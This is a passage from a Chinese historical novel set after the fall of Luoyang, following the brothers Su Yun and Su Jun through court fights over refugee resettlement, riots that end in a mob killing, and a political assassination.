果然送完东西还不算,又格外拉她“借一步说话”:“公子说,昨晚琅琊王看了您多次。以后这些场合,您还是少出席为妙......”
宋依依听了只觉好笑:“劳大司徒惦记。我又不是第一天被人看,这有什么。”
全不放在心上。
宁伯有些局促,又道:“还有那个许生。公子问,是他自己要入宫的,还是您荐的?”
宋依依道:“我这弟弟唱戏唱烦了,想寻个安稳去处。我就是随手一荐。怎么,这也要问?”
宁伯连忙道:“公子就是随口问问,您莫见怪......”
宋依依语气终于温下来:“我自然不会怪。你家公子一向周全,有他惦记,我也安心。”
见宁伯欲言又止,她再笑着补了一句:“放心。阿骏那边,该说不该说的,我有数。”
.
回到屋内,一个侍女上前为她梳发。
宋依依坐了一会儿,看见镜子里的自己,依旧朱唇皓齿,岁月不败。忽然心头闪过了琅琊王昨夜看她的那一眼,带着惊异、赞叹,和一丝无法掩盖的欲望。
这样的目光,她经历过无数次,却突然心里惊了一下。
好像有什么不详的预感。
她微蹙眉:“小翠,你去看看,将军可回了......”
还还没说完,忽然眼睛就被人蒙住了!
她立刻一声惊叫:“阿骏!”
便笑着要挣脱。
苏骏哪里许她走,大笑着把她揽入怀:“还想去哪儿?”
她笑着叫:“去天上,去月亮上,去你抓不到的地方!”
便在屋里一大通玩笑追闹。
.
这一天过得太快活了。
苏骏极少陪她逛街,这天却逛了个够。才试了几个簪子,放
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下了,回头就见他让人把整间铺头打包下了。 “省得你回头改主意了,又找不着。”
吃过午饭,她说要看看他平时玩什么。便去换了一身男装、还贴了假胡子,混进赌坊里去,一通忘情地点酒掷骰——
如此疯玩了一整天,到晚上吃饱了,二人并排躺在二楼厢房里,看着头顶上的星空。
宋依依喝了不少,脸颊微红,看向他:“阿骏。”
语气亲昵。像是鼻子湿湿的小猫,轻轻地碰了他一下。
苏骏也有点微醺,只是看着天:“嗯?”
“你......”
宋依依的语气很轻,几近耳语,“娶我吧。”
苏骏完全没听清:“啥?”
宋依依略提了一些声音,又说了一遍:“我说,你娶我,好不好?”
苏骏笑了,指了指她:“你醉了——你不早就是我的人了?”
宋依依怕这人是真不懂,坐起身:“我是说......”
砰的一声。
远处忽有一簇烟花炸开,银红交错,像是一把碎玉在天幕中撒开。紧接着是连绵不断的轰响,一束接一束,将整片夜空都点亮了。
楼下的人们都指点起来:“快看!是谁家放的,这么多!”“真好看啊!”
宋依依眼睛一亮:“你弄的?”
苏骏摊手:“不是啊。”
宋依依才不信,笑着去挠他胳肢窝:“我看你认不认!认不认!”
苏骏笑疯了,翻身就跑。“是他们弄的,不是我!依依......”
她看见他的脸。那么明亮、张扬,他的孩子气,他的真——
她走过去,温柔地捧住他的脸,吻了下去。
身后是漫天的烟花。
.
正当二人气氛刚好,突然门外有人砰砰地敲——“将军!求见将军!”
苏骏正在兴头,压根不想理。
可那人越喊越急,几乎要把门拍穿:“将军,是洛阳急报!十万火急啊!”
苏骏火气直冲脑门,抬手抓起茶盏就砸了过去,瓷声碎响——
“吵什么?”
极力压着怒气,起身披衣,心中恨道:要不是天塌地陷的事,非剁了这不开眼的。
门一拉开,冷声一句:“说。”
来报的副将迎着他杀人的眼神,吞了口唾沫,只能硬着头皮:“将军,是匈奴——刚刚攻破洛阳,把怀帝掳走了!”
7. 侨郡
北方八王再争,好歹仍有面上的共主。等到五胡趁虚而入,一举拿下京都,局势方真如山崩地裂。人们成群结队地南下逃命,一个月内,渡江的人流暴涨了十倍。
仁心堂也被挤得水泄不通,药不够、床不够,只得在郊外草草搭起几座诊棚,全靠义诊的大夫们日夜轮班,苦苦支撑。
于茵日日天未亮便出门,天黑了还点着烛火看诊。直到眼花头晕、实在撑不住了,才拖着身子回家。
这日,又是深夜才归。
门一推开,左幼伦便迎上来:“阿茵!谢天谢地,我都快担心死了。”
见她几乎没有说话的力气,赶紧接过药匣,扶住她:“天啊,你这脸色——快,先坐下。阿成——”
于思成岂用他说,已经端了杯水来:“阿姐先喝水,我去给你热饭!”
便又一溜烟地跑开了。
左幼伦继续关切道:“听说今天城北又出暴乱,就在义诊棚附近,我差点吓死!想出城找你,偏偏下午又有禁令,连门都出不了。你没事吧?有没有伤着?”
于茵喝了口水,喘匀了才道:“没事,闹的是粮棚那边,义诊棚没牵连。就是人太多,回城又堵,让你担心了。”
左幼伦这眉头就没松下:“你明天别去了好不好?太危险了。要么——要么我替你去,你就在城里,城里流民也很多,也需要人啊!”
于茵笑了笑:“你要去,我当然高兴。但我是义诊的主事人,调度、分药、交接大一堆事,不能不去。”
左幼伦叹了口气:“好吧好吧,那我明天跟你一起去,好歹能照应你点儿。”
“那你铺子怎么办?”
“哎,反正现在不太平,开门还怕被抢。还不如去帮你,踏实点......”
说着于思成端着饭菜跑了回来:“阿姐,饭来了!”
便放下,利落地摆开碗筷。
于茵是真的饿了,捧碗便低头吃了起来。
左幼伦看着她吃得急,不由劝:“慢点,别噎着。”
又叹道:“这日子什么时候是个头啊?”
于思成一边把汤递过去,一边认真道:“要撑一阵子。苏哥哥说了,他在想办法划出地方让流民住下来,给户籍、分田地。等大家安顿下来,就不会这么乱了。”
左幼伦一愣:“阿成,你这都哪儿听来的?”
“是掌柜的说的。苏哥哥交代了,这段时间堂里一定要稳住,不能出乱子,好给他争点时间。还说军队那边也会配合的。”
“你倒记得清。”
于茵听弟弟这样懂事,也不由微微一笑,“这事不好推,他在那头顶着。咱们这边也得守住,不能辜负他这份托付。”
顿了顿,又问,“对了,这几天宁伯来过吗?可有带药回去么?”
于思成点点头:“嗯,今天还来了。走得挺急的。好像说苏哥哥已经连着几天没睡了,饭也吃不下,除了平时那些药,还拿了不少止疼和暖胃的。”
于茵皱起眉:“那怎么能行呢?”
想了想道,“幼伦,我明天一早去找宁伯问问。你别等我,在诊棚见好吗?”
左幼伦“哦”了一声,迟疑了一下:“好,好吧。那你自己一定要当心点......”
.
天还未全亮,朝堂上已又吵作一团。
一个北侨党的道: “臣赞同划出侨置郡县,使流民安居,方可固国之本。”
一个江南党的则道:“说得轻巧。迁徙本地民众势必劳民伤财。若由此激起民怨、再生祸乱,谁来担这个责?”
底下立刻起哄:“正是!”“这当口,维持稳定才是首要的!”“臣附议!”
“好啦。”琅琊王也给吵得头疼,用双手压了压,“本王知道,诸位爱卿心切国事,但也要一个个来说!”
众臣这才勉强安分了些。
苏昀上前一步,呈上一份案卷:“主上,臣有奏。”
琅琊王自然脸上缓了些,“宴之,你说。”
侍从将案卷递上,琅琊王一边展开,一边听他陈述。
“侨置郡县之难,在于地权与人心。臣已细查各地户籍,拟于徐、兖、青三州人口稀疏之处择地置郡,另外——”
苏昀再拜,“臣提议,在受影响的州郡内减税五成,为期三年,以安民心。”
此言一出,底下又炸开了锅。
卢士瑶第一个叫道:“前个儿才加军费,现在又要减税。按苏大人的意思,就是让大伙吃西北风了?”
苏昀面色不改,徐徐道:“臣已算过了,只要六成流民定居入册,按例缴纳,就能平衡账面,在兵力上更是净入。久而久之,不但可解眼下之困,更是强国之本。”
有人又问:“苏司徒说减税,指的可是田税?那商税、地税又怎么算?”
“不单田赋,三州全境税额一概减免。”
众臣哗然,议论起来:“这能行吗......”
声浪盖天,苏昀只觉得太阳穴突突地跳。他极力忍着,提高声音:“诸位大人若是不信,尽可以拿去核算。但有错漏,苏某愿一力承担。”
随即转向琅琊王,匍匐长拜:“主上,此策关乎万民安置、国力消长,还望主上准此一试!”
此言落地,朝堂终于稍静了一阵,将目光投向主座。
琅琊王翻着案卷,左右看了看众臣,显得有些为难:“司徒说的不无道理。不过兹事体大......”
此时顾荣便出列,拱手道:“老臣已看过此策,虽未必尽善,但纲目分明。朝中若事事都未试先斥,岂非坐失良机?老臣才拙,也愿为此案略尽绵力。”
众人听了,有一些骚动。
北侨党便趁势而起,许多人都出列:“流民不安,则社稷难安。”“臣等复议!”
一时间,支持之声渐起。
琅琊王只是低头摩挲案边玉佩,没说话。
忽有一人出列,是周家御史之首,周嗣存。
他拱手道: “苏大人愿一力承担,臣敢问一句,大人是以何身份,担何责?如今政令由你议,册籍由你署。若三年后赋税不入、百姓失序,你怎么担责?”
再朗声道,“流民当然是难题,可若乱了户籍地赋,连旧人也不能安生——”
再向琅琊王一拜,言辞铿锵,“还望主上,三思!”
江南党人也纷纷跪拜:“主上三思。”
.
又是无疾而终的一场朝议。
苏昀踏出朝门时,已说不上是失望还是愤懑。只觉头炸开一般地锐痛,眼前发黑。几乎是吊着一口气,才勉强撑到车上——刚上车,便整个人栽倒下去。
此后也不知自己是怎么回到家,又怎么除衣、倒在床上,见过什么人。
只记得伏在床边时头痛欲死,干呕不止。
他拉住不知谁的手,极力在呕吐的间隙里,挤出几个字:
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“找顾老,请他去推。说、说是我说的......”
一侧身,又吐了一把酸水。
.
于茵心急如焚。给他拍背,又揉止吐的穴位。好容易才使他睡了过去。
额头却已滚烫得吓人。药灌不下,只得针灸、冷敷,又让宁伯擦身退热。折腾到晚间,仍是高烧不退,人已神志不清。
苏骏从外镇乱归来,一进门便问:“怎么回事?”
于茵低头道:“劳伤过度,虚火攻心,一口气没缓过来。已经烧了一整日,在说胡话了。”
苏骏立刻一把火上头:“叫他别瞎折腾,不听!”
大步上前一看,只见那人烧得气若游丝,脸色惨白。却还在极轻、断续地喃喃:“徐州户册......青兖减税......三年内,不擅、调军粮......”
苏骏差点要掀屋:“他娘的还在念政令?脑子有病吧!”
宁伯赶紧把他拉开:“二公子,您轻点声。公子正难受着呢。”
苏骏气得喘了半会儿,却听那厮轻声念:“阿骏......”
心头立刻软了下去,上前。“我在。怎么?”
苏昀半阂着眼,费力地道:“别怕......”
“......”
苏骏一时不知如何回答。他堂堂六州都督,江南统军元帅,他怕什么?
默然了一阵,才丢下句:“……我去透口气。”
便转身走了。
.
至忙到天亮,苏昀的热度才退了一些,沉沉地睡了过去。
于茵松了半口气,才起身。
忽然失重晃了一下。
宁伯忙来扶:“于大夫当心。没事吧?”
于茵苍白着脸,摇头:“没事,我也回去躺会儿。”又道,“我住在仁心堂后巷,要是病情变化,你就让人来找我。”
宁伯“哎”了一声,把人送了出来。
苏骏还在外厅等着,也是一夜没睡。见二人出来,便立刻上前:“他好点了么?”
于茵点了点头:“烧退了大半,刚睡下。今天可能还会反复。”
苏骏直接就往里走:“我去看看。”
宁伯立刻道:“二公子轻点声啊。”
“知道!”
.
再走到大门,有人叫——“阿茵!”
是左幼伦。
他一脸担心地上来:“累坏了吧?”
于茵轻轻地“啊”了一声:“你怎么在这儿?”又道,“是没收到口信吗?我昨天拜托了宁伯的……”
“收到了。”左幼伦接过她的药匣,“你说晚上不回了要守病人,我就知道你肯定要熬夜,也不吃饭,是不是?”
又旋开一罐用厚棉布包的汤盒,递上,“来,先喝点红糖水垫垫。应该还是暖的。”
于茵愣了一下:“你在这等了多久呀?”
“没多久,没事。你先喝着。”
于茵只好依言喝了一口,暖汤入胃,果然舒服了不少。又喝一口。放下了,看着他:“对不起,总让你担心。”
“我没关系,主要是你——这病人是永远看不完的,你也要顾着自己一点。”
这话听得耳熟,于茵笑了一下:“幼伦,你为什么这么好?”
左幼伦挠了挠头:“哎,那我不对你好,还对谁好呢?”又推着她,“走吧,赶紧回去歇着,今天别再乱跑了啊……”
8. 试点
永安阁。琅琊王放下奏章,抬眼看去。“试点?”
顾荣拱手拜道:“是,老臣与苏司徒商议过,既然三州推行有难,那就先从试点做起——以仁心堂为依托,在大兴、芜湖等五地设民馆,令流民就地定居。
“在各地另设义田八百亩,不碰原户籍田粮,引导北人多担重活脏活。一定比例的侨粮、义粥向全镇开放,不论籍贯,都可以领取。”
再拜:“如此一来,半年之内必有成效。到时再讨论侨郡的方案,便有了依托,也能解眼下的燃眉之急。”
琅琊王沉吟了一下:“倒是个办法。”
又顿了顿,“听说司徒病了,已经几日没上朝。你是何时与他商议的?”
“回主上,当初拟三州方案时,司徒便与老臣议过这一备案。这两日他强撑起身,也草成一封简奏,托老臣一并呈上。”
便从怀中取出另一封章来,双手呈上。
琅琊王沉着脸,展开来看。
果然是苏昀亲笔。内容不长,只称愿为侨郡之策担负全责,伏请主上念及万民艰难,勿忘初志,垂顾大治之望。辞意恳挚,令人动容。
读罢,琅琊王不由叹了一口气:“罢了。他说要做,那就做吧。我虽不力,也能为他推这一把。来人——”
便当面起草诏书,令人传了下去。
顾荣长拜:“老臣叩谢主上。”
琅琊王亲自来扶,温声道:“顾大人不必多礼。”
又语重心长地道,“我不是不支持。你也知道,朝上声音太多,连我也镇不住。这个头,我给你们起好了,接下来就得靠你们自己了。”
.
顾荣退下之后,琅琊王还坐了好一会儿,不语。
侍从察言观色,柔笑着上来奉茶:“主上既然忧心,何必准他这案?”
琅琊王简单道:“案子是好案子,流民的事也不能拖太久。”
侍从笑道:“奴才看着,先做试点也好,不必担心苏家进一步掌权。南党那边,也不会让他过得容易的。”
琅琊王看了他一眼:“你倒是伶俐。”
想了想,又道,“那个许生,可安排下了?有什么动向?”
“回主上的话,在梨园安置下了。和其他伶人一起排戏、休息,听说安静本分,从不和人高声说话,也不曾出园。”
“底子探清了么,和苏家到底什么关系?”
“说是没什么关系,就是和宋夫人有私交。宋夫人当年做歌伎时,对他提携不少,所以格外照应。”
琅琊王“唔”了一声,用手指轻轻点桌。
侍从试探道:“您既然惦记着,不如去看一看?正巧梨园的花儿也刚开呢……”
琅琊王比了一根手指,想说点什么,又作罢:“再等等吧。”
便又拿起了奏章。
.
苏骏踏进水榭,立刻咆哮:“你怎么,他娘的又起了?”
苏昀披衣坐在桌前,没有抬头。“试点的案子过了,我得看一眼。”
苏骏上来就要动手,苏昀早有预判、俯身一盖。抬眼:“别抢,好吗?我就看这一眼,不看完我也睡不着……”
他的脸色那么苍白、虚弱,语气几乎有点哀求。
苏骏喉头动了一下,还是没忍下心,最后旋身在旁边抱臂坐下了。砰的一声,简直像一团火砸下去。“给你一刻钟。”
苏昀亮了一下手里的案牍,至少有七八十页,“半个时辰好吗?我头晕,看不了那么快。字又多。”
这样说,谁能拒绝?
苏骏咬牙切齿,探身:“你不要,跟我玩花招。”
苏昀十分和煦地笑了一下:“怎么会呢。”
便埋首进案卷里去了。
苏骏在旁计时,横着躺,斜着躺,又去玩他的棋。等得百无聊赖。只是后面每咳一声,都觉得心里突地跳了一下,频频看水钟——“还没到时间吗?”
决心起身,悄悄去调个钟。
刚走近钟,后面的人就开口:“你有空是吧?”
苏骏“啊”了一声,回头。
苏昀道:“帮我削个苹果,好不好?”
“啊?”
“想吃点酸的。你要是不削,就去帮我叫下宁伯。”
“哦,行啊。”
苏骏便晃到果盘那边,挑了个看得顺眼的。掏出随身小刀,转了一圈,正要动手。
“好歹洗一下刀吧?”
苏昀不得不出声,“也不知你那刀干过什么的——没得吃了我胃疼。”
苏骏低头看了看,确实这刀卸胳膊、插桌、开罐,功能丰富。心里不由虚了一下,嘴上却不饶人:“事儿真多!”
便起身去了外面,找宁伯要了把“水果专用刀”,洗了手,又要了个碟子。回来坐下,便一心一意地削起来。
苏昀瞟了那厮一眼——正叉着个腿,像虐待犯人似的,一片一片地削苹果皮。皮削得极厚,一刀下去,苹果可见的变小了。
他不由偷笑了一下,又收敛神色。“你这么有空,内外治安是都安排好了?”
“啊,放心。出不了事。”
“前几天闹暴乱的人都放了吗?”
“嗯,按照阁下的要求,几大车拉到大兴去放了,还登了侨籍、发了粮。”
“粮食呢?调粮可顺利?”
“扯了一阵皮,还是出仓了。还行。”
“运送的时候,要格外当心,特别是走水路的……”
苏骏把刀放下,瞪眼:“我看你挺精神啊,看卷就看,还要管这些?我计着时间呢。”
苏昀于是咳了两声。
苏骏立刻被重伤:“不说了。你别问,我也闭嘴。各干各的。”
苏昀又笑,低下头去。
不出一会儿,苏骏捧了一碟去皮苹果过来。“喏。”
苏昀一看就笑出声,三只可怜的苹果被削得歪七扭八,不到原来一半大。
“你是给我削了个苹果核吗?”
苏骏冷着脸:“嗤,爱吃不吃。”
苏昀拿了一个,低头吃了一小口,很慢地咀嚼。
苏骏看他:“还行么?会不会太冰了?酸吗?”
苏昀低着头:“刚刚好。谢谢。”
苏骏略放心一点:“能吃就好。”
苏昀没有抬头,轻轻地“嗯”了一声。继续翻页。
苏骏看着他,总觉得哪里不放心。正想再说点什么,突然有人进门——
“公子!”
是宁伯,正神色凝重:“试点令还没颁布,不知怎么就走漏了风声。大兴一带的
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民众闹了起来,正堵城门,不让人进!”
苏骏蹭地起身,便往外走。
苏昀在后面叫:“阿骏。”
苏骏回头,看见兄长沉静的脸。“注意分寸。”
立刻挥了挥手:“知道!”
便大步往外走。
苏昀闭眼,轻吐了一口气。而后又忍不住咳了起来。
宁伯连忙上来顺气:“公子别急,先缓口气……”
.
苏骏率一队轻骑直杀到大兴。
远远地便看见,城门前一片乌压压的人头,内外挤成一团。
城门半开,里面挤了大批民众,正群情激愤,齐力要关上重铁门。有人还举起木棍、铁锹,作势欲打,口中大喊着——
“不能放他们进来!进来就是抢咱们的粮,白吃白住!”“要田没有,要命一条!”“大家伙顶住了!”
城门外是一大帮士兵,极力堵着门不让关,又不敢真的动武。
最外圈则围着一大批刚到的流民,正背着包裹、牵着孩子,焦急而惊慌地看着。
苏骏一勒马,反手便抽出弓弦——
三支响箭齐出,破风如啸,贴着人头齐齐掠过,直射入门内!
门内百姓登时炸开,尖叫、惊呼四起。原本死咬着不肯退的数人,也本能地缩头往后闪。门口一松,守兵一拥而上,趁势猛地一推。
巨响轰隆,城门再度大开。
苏骏策马直入,高声一喝——
“是谁?谁要关城门,给老子报上名来!”
众人被他气势压住,一时间鸦雀无声。片刻后,才有人在后排喊道:“我们大兴人关自己的城门,你管得着吗?”
有人起头,其他人胆子也大了,纷纷喊起来:“现在的官兵是无法无天了!早上还看到他们在咱地头画线,说要收起来‘给北人种’!”“我亲戚在芜湖,说他们那头试点一开,田租已经涨了三成!”
人群中混杂着愤怒与恐惧,越说越凶,越喊越乱。
苏骏冷笑一声:“义田章程还在我老哥案头,选址都没定,哪来的画线?”
再环顾人群:“这些话,是你们亲眼见了,还是谁教你们说的?”
没人回话。
他再问:“那画线的官吏名字是哪个?谁家庄子?给我站出来!”
依然没人敢应。
“那就是造谣!我苏骏平生最恨造谣之人,再多一句,看我不把他抽皮扒筋!”
众人先是静了一下,随即更是群情鼎沸:“你就是苏骏?一个北人,在咱江南地界上骂我们江南人——有脸说抽皮扒筋?”“朝廷要杀人,还得先断个罪呢,你苏家一句话怎么就成律法了?”“有本事就来杀,你杀一个试试看!”
苏骏额角青筋直跳:“找死……”
场面正乱着,又有人匆匆来禀——“苏将军!”
苏骏回头,是个账房打扮的人。那人一上来便作揖:“小的是仁心堂大兴镇掌柜,今日的赈粮还没到。请问将军,可是出了什么事?”
苏骏头皮发紧,冷喝:“去查。”
“是——”
话音未落,又一骑飞奔而来,翻身便禀:“将军,码头来报——粮运水路全断!卢家那边说手续不全,‘奉命暂缓转运’,不交船、不放粮!”
9. 灭谣
以卢、周为首的南党,动作迅速。
试点令尚未下达,便已是谣言四起。
有人煽动百姓堵城门、骂流民、抢粮,水路被封,粮铺被哄抬,城中米价一日之内暴涨三成。民众惊慌,对立加剧,连定居多年的侨民都被赶出城外。屋门破、儿女哭,夜里还有人放火烧棚。
更甚者,卢家等竟以“试点祸乱”为由,联名弹劾苏昀,称其尸位素餐,误民误政,请立刻罢免。
眼见局势如火山将爆,南北之裂,已至最极——
“那卢狗怎么不去死?”
苏骏气极,一巴掌拍在桌上,“粮路是他卡的,人也是他煽的,现在反咬你‘尸位素餐’?”
宁伯赶紧上前,低声劝道:“哎哟,二公子轻些,我们公子还头疼呢。”
苏昀果然脸色发白,额角隐有冷汗,却还在提笔写字。
苏骏一看,更是心烦意乱,拎着他胳膊就要拉人起身:“你别写了,给我躺回床上去!”
苏昀偏头避开:“别闹,让我静一会儿。”
“我闹?”苏骏不敢置信地看着他,“我是替你气。你坐着被骂、被扣帽子,还在这里撑着给人批折子?”
苏昀皱起眉:“那弹劾里有一句合理的吗?”
“没有啊!全是污蔑,全是放屁!”
“那就是了。人心自明,我不怕他骂。”
“你不怕——”苏骏怒极反笑,又拍了一下桌,“你当然不怕。可你有没有想过别人怕不怕?外头那些百姓,信的就是这些话——‘北人吃白食’,‘苏家撑北人’,你‘尸位素餐’ ……这样下去,你还怎么推政?”
苏昀放下笔,一叹:“阿骏,我真的没力气跟你吵。”
“粮运现在改走陆路,慢一点,但总会到。水路那边,我也请了主公介入,他不能坐视不管。我现在还要几封信要写,你让我做完,好吗?”
他没看苏骏,只埋着头,声音里是透着压不住的疲倦。
苏骏看着他:“好,你做。你就做吧!”
突然一掌扫过木几,书卷茶盏哗啦一声落地。
“你就这么拼命做。等做完,全尸送不出门,我都不会管!”
便拂袖而去。
苏昀怔了一瞬,看着那背影,只觉得头痛如针刺。他按着额角:“宁伯,收一下桌。再拿点药来……”
.
郊北临时义诊棚。
一排排草棚就地而设,棚中人满为患。几口大锅咕咚地熬着药汤,药童奔来奔去,喊声不断。
于茵正跪在地上替一名伤患包扎,身后还有许多人排着队。
她眼睛都没空抬,便问:“幼伦,清毒汤好了吗?”
左幼伦从后面冒出头来:“来了!”便用帕子裹着锅耳,费力地提过来。
于茵一手还在探脉,另一手已经利落地摊开三个碗,看也不看。“先来三碗。”
“哦。”左幼伦便依言盛药,动作小心又慢,生怕洒出来。
包扎的伤患是个六旬老人,衣服破洞,却看得出是个文人。他端了药,再三谢过:“姑娘的相救之恩,老朽要记一辈子,今后日日为您祈福!阿山,快来谢谢大夫……”
一个八九岁的小孩子便上来,行了半礼:“多谢姐姐,救我阿爷之恩!”
于茵见孩子和自己弟弟一般年岁,再忙也不由多看一眼。“不客气。你们快去休息吧——粮领了吗?”
老人道:“正要去。老朽这就不打扰了。”
又带着孩子郑重一拜,才慢慢地拖着腿走了。
.
刚出门不久,外头便传来一阵嘈杂的喧哗。
突然几个汉子掀帘而入,手里不是锄头就是棍子,眼里全是恨意——
“这就是给北人白治病的地方!”
“吃咱们的粮、占咱们的地、还要咱看病供药?干他!”
于茵起身:“住手!”
可哪有人在听?下一瞬,已是棚布被扯落,药锅翻倒一地,散出呛人的药气。
“阿茵快走!”左幼伦用身体护住她,便往外冲。
二人刚闯出来,便见流民四散惊逃,尘土飞扬。一群暴民正围着一人推搡,是方才那位老儒。
他显然没跑快,也没反应过来发生了什么。一手护住孙儿,颤声道:“列位,我是读书人,只来领口粮,没抢东西啊……”
话没说完,一棍子砸在他背上。
“抢咱们的粮,还装斯文!”
“北流子滚出去!”
于茵大惊,立刻要冲去救人,却被左幼伦拉住。“你别去,他们会连你一起打的!”
正说着,无数的棍棒已砸在了老人的背上。
“别打我阿爷!别打我阿爷——”孩子哭声撕心裂肺,却无人停手。
于茵极力挣脱:“不行,他们这样会打死人的!”
左幼伦把她死死地抱在怀里:“阿茵你冷静一点,你帮不上他!”
终于最后一棍扫来,直接砸在老人的头侧,闷响一声。他倒在泥里,血慢慢地渗出来。孩子扑在他身上,拼命摇他。“阿爷,你起来!阿爷——”
于茵整个人僵住了。然而下一瞬,她听见未婚夫的催促:“别发呆了,快走!”
这才一踉跄,被他推着跌入了人群之中。
.
苏昀重复:“打死了人?”
宁伯道:“是,闹事的是混在队伍进去的。动作太快,等军队赶入时就已经出事了。”
苏昀静了好一会儿,才问,“是什么人?”
“是个老儒,带着个孙儿来看病的。”
“当时孩子也在?”
“……在。”宁伯看了他一眼,显然
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十分担心,“公子,您别……”
苏昀却只道:“今后守兵必须入驻棚内,不能再有空档。闹事的人仔细甄别,受惊百姓要逐一安抚,该问的问、该补的补。还有——”
顿了顿,“送口棺,好好安顿那个孩子。”
宁伯应了一声“好”。
苏昀已展开一封新案,提笔写下:“街头民变,已平。”
笔尖轻微一颤,片刻才收锋。
他垂眼,长久地默然。
.
说是不管,怎么可能真的不管?
苏昀这一场热病缠绵多日,一直不曾好全,当夜又起高热。
苏骏一听就过来了。
这次却脸冷得很,没有一句大声,只是在他床边坐了一阵。“哥,你别生我的气。”
苏昀烧得发晕,却轻声道:“我没生气。”
又拉了他的手。
似乎没力气再说什么。
苏骏亲自给他擦了冷汗,掖上被子。又回头看了一眼——
“睡一觉,明天就好了。”
.
走出水榭,一个副将凑了上来,压低声:“将军,都准备好了。”
苏骏拍了块烟草,翻身上马。
他面无表情:“走。”
.
兰花楼,二楼雅间。
卢士瑶斜倚在主位。旁人你一言我一语,觥筹交错间,尽是奉承之语。
“高,卢大人手腕是真高啊。这就把苏家拿在手心里了!”“来,来。小的敬您一杯!”
卢士瑶一杯饮尽:“以牙还牙,以眼还眼。两年前他断我财路,今天我也能让他当一回刀下鬼!”
又扫视众人,“现在出了人命,正是好时机。但这参本不能我一个人上,你们几个也得按上手印。一句话,明天朝上——”
他冷笑,“弄死他!”
正说着,突然有人来报:“大人,不好了!码头来了一帮士兵,把水路巡官全抓走了!”
卢士瑶脱口:“什么?”
众客也是一片哗然:“是苏骏!”“他疯了吧?巡官是朝命,他凭什么抓人?”
话音未落,外头又一人闯入,面色发白:“大人!咱们安插在城里的暗桩……全、全被撬了!几处茶棚、仓房都给抄了个干净!”
卢士瑶猛地起身:“岂有此理。”
便拉开厢房门,往外走。同时连串地下令:“通知周嗣存,弹章上再加他两折,还有仓口那边——”
同时走廊上正客流不断,有个小厮正托着菜盘,灵巧地穿过。“客官,借一借!”
卢士瑶侧身避开,正欲再步。就在那擦身的一瞬——
一只手冷不防从身后扣住他下颌。
他还来不及惊叫,便感到一道寒意贴颈划过。
喉头骤然一凉,血如泉涌!
10. 骑虎
当夜——
卢士瑶在酒楼被人割喉。
一众水路巡官被捕,扣押在校场。
数十个侨郡造谣、打砸之人,被捆到各地城头吊挂。
等天亮的时候,建康已不再是昨日的建康。满朝之震动至极,竟终成一片哑然。因为根本不消说——
苏家,动手了。
.
苏昀正烧得七荤八素,听了差点一口血涌上来:“割喉?”
宁伯几乎不忍心,极力宽慰:“是,但好在做得干净,杀手混在人群里逃走,绝对查不到苏家头上。”
还用查吗?
这是明摆的事实,明摆的——
他两年推礼让权、扶寒门,以实现南北共治。可如今,只剩这一地血!
苏昀费力地撑起身:“备车,我要去卢家!”
.
一连三日,苏昀极力地收拾局面。
先是带病亲问卢家属,称要查出杀手,还他公道。
再赴朝堂,未等琅琊王发问,便先跪呈三折请罪——“未能节制家人,阻碍水路、惊扰民众。愿自降三品,避席半年”。以至琅琊王无话可说,只能再三请让。
最后是请顾、周等南士八人,加入议政堂。每月公开议政,不再独署侨籍文牒,愿与诸公同责。
可不论他说什么做什么,满朝文武都只是冷眼看着,客客气气地附议、接受安排。朝堂之上,竟陷入了一股诡异的和平。
退朝后,苏昀顶着一身虚汗,追了出来:“顾大人留步。”
顾荣止步,略一点头:“苏司徒。”
苏昀回礼,苍白一笑:“试点令已下,民馆需礼长一位,教化流民——顾家乃世代礼法之家,不知可否出一人?”
顾荣沉默片刻,答得极慢:“苏司徒所虑,皆为国是。”又一拱手,“容顾某回府与诸子商议,尽快回禀。”
转身便要走。
苏昀又叫:“先生。”
顿了顿,“宴之抱病多日,试点诸事,皆由先生一力操办。今后还望您仍能同我协力,一并将侨郡落实。”
顾荣没有回头,只道:“老朽不敢与司徒比肩。侨郡诸事,您定什么,顾家自当从命。”
便从容而去。
苏昀只能立在原地,看着那背影走远。
其他朝臣也从身边陆续而过,个个拱手致礼,却无人敢驻足。
他忽觉胸中一紧,低头,轻咳了两声。宁伯上来顺气,忧声道:“公子……”
苏昀摆了摆手:“没事,走吧。”
抬起头,风正掠过廊前。他缓缓挺直身子,不动声色。
事已至此,他只能顺势往下走。其他的——
以后再想办法吧。
.
“就是说,顺利?”
苏骏歪在榻上,手里转着小刀。
来禀的副将“哎”了一声:“是,造谣的人一收,本地民慢慢就明白了,不再反对。粮路也通了。现在试点令推下去,半点水花都没掀起——小的瞧着,哪怕现在直接推三州郡县,也是行得通的。”
另一个牙将也笑道:“是啊。那帮人欺软怕硬,您这一刀下去,就立刻屁都不敢放一个了。”
苏骏“唔”了一声,只问:“苏昀怎么样,身体好点了吗?”
副将道:“听说烧退了。这几日事事顺着走,今儿在朝上,看着气色也好些了。”
苏骏指间一顿,小刀停住了转,才慢慢道:“那就行。”
牙将又道:“不过将军,司徒调咱们回武昌,调令发了好几天了。咱们是去还是不去呀?”
“去,为什么不去?”
苏骏撑起身,懒懒地站了起来,“活都干完了,回去歇歇呗。”
说得轻松,手上却“啪”地一声,将那把小刀合进鞘里,声响极重。
几人都是心头一跳,忙跟上:“是。”
刚一出门,便见几个小厮在院里搬箱装柜。两个侍女指点道:“轻着点,这里头是夫人最喜欢的瓷具。坏了一个你们都没命赔的!”
苏骏皱眉:“干嘛呢?”
侍女们见他出来,忙上前一福:“将军。夫人说武昌路远,带的东西多,得赶紧收拾起来了。”
苏骏眉头更紧:“谁要带这些玩意儿?扔了!”
“我呀。”宋依依袅袅地从屋里出来,“陪你去那么大老远的,喝茶不能用个顺手的?”
苏骏冷着脸:“我可没说……”
“怎么,不带我?”
宋依依凑近,眨了眨眼,“又不是打仗,为什么不带?”
还没等他反应过来,又理着袖子一叹,“你这一闹,连我那帮姐妹都躲着我。你这去不知多久,我会无聊死的。”
眼波一转,再把语气放软,“将军大人,路途漫漫,好不好红袖添个香啰?”
.
琅琊王问:“苏骏走了?”
侍从道:“是,司徒说武昌安防未固,调苏骏驻守镇南防线。苏将军带了一队兵马,今早已经出城了——哦,听说还带了宋夫人。”
琅琊王“呵”地笑了一声:“搅了个底朝天,又是拍拍屁股走人——连女人都带上。苏家两兄弟一个红脸,一个白脸,还真当本王是摆设!”
说罢,猛地将奏章拍在案上。
侍从吓了一跳,忙宽慰:“主上也莫恼——有人走,就有人来。周刺史陪他夫人奔卢家之丧,人已经到了京中了。这不是座儿还没热,就开始递弹章了吗?”
“他倒是有心。”
“周夫人无子,一直将卢士瑶那侄
